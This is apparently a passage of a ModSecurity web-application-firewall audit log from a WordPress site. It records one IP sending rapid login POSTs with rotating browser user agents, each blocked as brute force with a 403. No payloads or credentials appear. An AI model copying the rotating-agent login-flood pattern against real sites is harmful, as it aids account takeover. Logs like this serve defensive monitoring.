User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--66890359-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--66890359-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313982872297 3582 (- - -)
Stopwatch2: 1789313982872297 3582; combined=1590, p1=853, p2=152, p3=0, p4=0, p5=585, sr=396, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--66890359-Z--

--9efaaf47-A--
[13/Sep/2026:18:39:43.253152 +0300] aqbDv1dqBhgxDSpG7haLGwAAAFY 134.185.87.66 35712 127.0.0.1 7081
--9efaaf47-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9efaaf47-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9efaaf47-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313983251516 1701 (- - -)
Stopwatch2: 1789313983251516 1701; combined=543, p1=259, p2=66, p3=0, p4=0, p5=217, sr=125, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9efaaf47-Z--

--7eca2c64-A--
[13/Sep/2026:18:39:43.634057 +0300] aqbDv0hjHs68UzErry1K2wAAAJM 134.185.87.66 35728 127.0.0.1 7081
--7eca2c64-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--7eca2c64-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7eca2c64-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313983632519 1602 (- - -)
Stopwatch2: 1789313983632519 1602; combined=537, p1=257, p2=63, p3=0, p4=0, p5=217, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7eca2c64-Z--

--aa60bd76-A--
[13/Sep/2026:18:39:44.021001 +0300] aqbDwBsbgHO3aGL3jiTwvwAAABQ 134.185.87.66 35740 127.0.0.1 7081
--aa60bd76-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--aa60bd76-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aa60bd76-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313984019434 1619 (- - -)
Stopwatch2: 1789313984019434 1619; combined=522, p1=219, p2=81, p3=0, p4=0, p5=222, sr=73, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa60bd76-Z--

--5bc86930-A--
[13/Sep/2026:18:39:44.413720 +0300] aqbDwPut1GUrjaX0wO45GAAAANg 134.185.87.66 35756 127.0.0.1 7081
--5bc86930-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5bc86930-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5bc86930-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313984412088 1686 (- - -)
Stopwatch2: 1789313984412088 1686; combined=591, p1=256, p2=64, p3=0, p4=0, p5=271, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5bc86930-Z--

--c1806f3e-A--
[13/Sep/2026:18:39:44.797393 +0300] aqbDwPut1GUrjaX0wO45GgAAAMs 134.185.87.66 35768 127.0.0.1 7081
--c1806f3e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c1806f3e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c1806f3e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313984795530 1936 (- - -)
Stopwatch2: 1789313984795530 1936; combined=642, p1=268, p2=88, p3=0, p4=0, p5=286, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c1806f3e-Z--

--1a081e18-A--
[13/Sep/2026:18:39:45.187995 +0300] aqbDwRsbgHO3aGL3jiTwwAAAABI 134.185.87.66 35782 127.0.0.1 7081
--1a081e18-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1a081e18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1a081e18-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313985185902 2168 (- - -)
Stopwatch2: 1789313985185902 2168; combined=618, p1=273, p2=84, p3=0, p4=0, p5=261, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1a081e18-Z--

--88f91a65-A--
[13/Sep/2026:18:39:45.585089 +0300] aqbDwfut1GUrjaX0wO45HQAAAMg 134.185.87.66 54022 127.0.0.1 7081
--88f91a65-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 89
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--88f91a65-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--88f91a65-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313985583323 1831 (- - -)
Stopwatch2: 1789313985583323 1831; combined=665, p1=286, p2=106, p3=0, p4=0, p5=273, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--88f91a65-Z--

--6b2ef008-A--
[13/Sep/2026:18:39:45.962996 +0300] aqbDwfut1GUrjaX0wO45HwAAAM0 134.185.87.66 54030 127.0.0.1 7081
--6b2ef008-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--6b2ef008-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6b2ef008-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313985961381 1692 (- - -)
Stopwatch2: 1789313985961381 1692; combined=564, p1=269, p2=71, p3=0, p4=0, p5=224, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6b2ef008-Z--

--7787ee37-A--
[13/Sep/2026:18:39:46.347186 +0300] aqbDwvut1GUrjaX0wO45IAAAAMQ 134.185.87.66 54040 127.0.0.1 7081
--7787ee37-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--7787ee37-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7787ee37-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313986345562 1693 (- - -)
Stopwatch2: 1789313986345562 1693; combined=554, p1=250, p2=67, p3=0, p4=0, p5=237, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7787ee37-Z--

--aafd7372-A--
[13/Sep/2026:18:39:46.737878 +0300] aqbDwhsbgHO3aGL3jiTwwQAAABc 134.185.87.66 54072 127.0.0.1 7081
--aafd7372-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--aafd7372-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aafd7372-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313986736082 1865 (- - -)
Stopwatch2: 1789313986736082 1865; combined=646, p1=294, p2=85, p3=0, p4=0, p5=267, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aafd7372-Z--

--d6001351-A--
[13/Sep/2026:18:39:47.144880 +0300] aqbDw-ut1GUrjaX0wO45JAAAANA 134.185.87.66 54118 127.0.0.1 7081
--d6001351-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d6001351-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d6001351-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313987138747 6228 (- - -)
Stopwatch2: 1789313987138747 6228; combined=1052, p1=505, p2=165, p3=0, p4=0, p5=382, sr=140, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d6001351-Z--

--763ec97a-A--
[13/Sep/2026:18:39:47.530599 +0300] aqbDw-ut1GUrjaX0wO45JQAAANc 134.185.87.66 54144 127.0.0.1 7081
--763ec97a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--763ec97a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--763ec97a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313987527212 3482 (- - -)
Stopwatch2: 1789313987527212 3482; combined=864, p1=427, p2=138, p3=0, p4=0, p5=298, sr=152, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--763ec97a-Z--

--ef72bb74-A--
[13/Sep/2026:18:39:47.913932 +0300] aqbDw0hjHs68UzErry1K3gAAAIU 134.185.87.66 54164 127.0.0.1 7081
--ef72bb74-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--ef72bb74-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ef72bb74-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313987911598 2391 (- - -)
Stopwatch2: 1789313987911598 2391; combined=701, p1=302, p2=94, p3=0, p4=0, p5=305, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ef72bb74-Z--

--cb2eb435-A--
[13/Sep/2026:18:39:48.303407 +0300] aqbDxPut1GUrjaX0wO45KAAAAMk 134.185.87.66 54196 127.0.0.1 7081
--cb2eb435-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--cb2eb435-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--cb2eb435-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313988300890 2592 (- - -)
Stopwatch2: 1789313988300890 2592; combined=833, p1=341, p2=97, p3=0, p4=0, p5=395, sr=142, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cb2eb435-Z--

--614f3055-A--
[13/Sep/2026:18:39:48.698999 +0300] aqbDxPut1GUrjaX0wO45KgAAANY 134.185.87.66 54208 127.0.0.1 7081
--614f3055-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--614f3055-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--614f3055-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
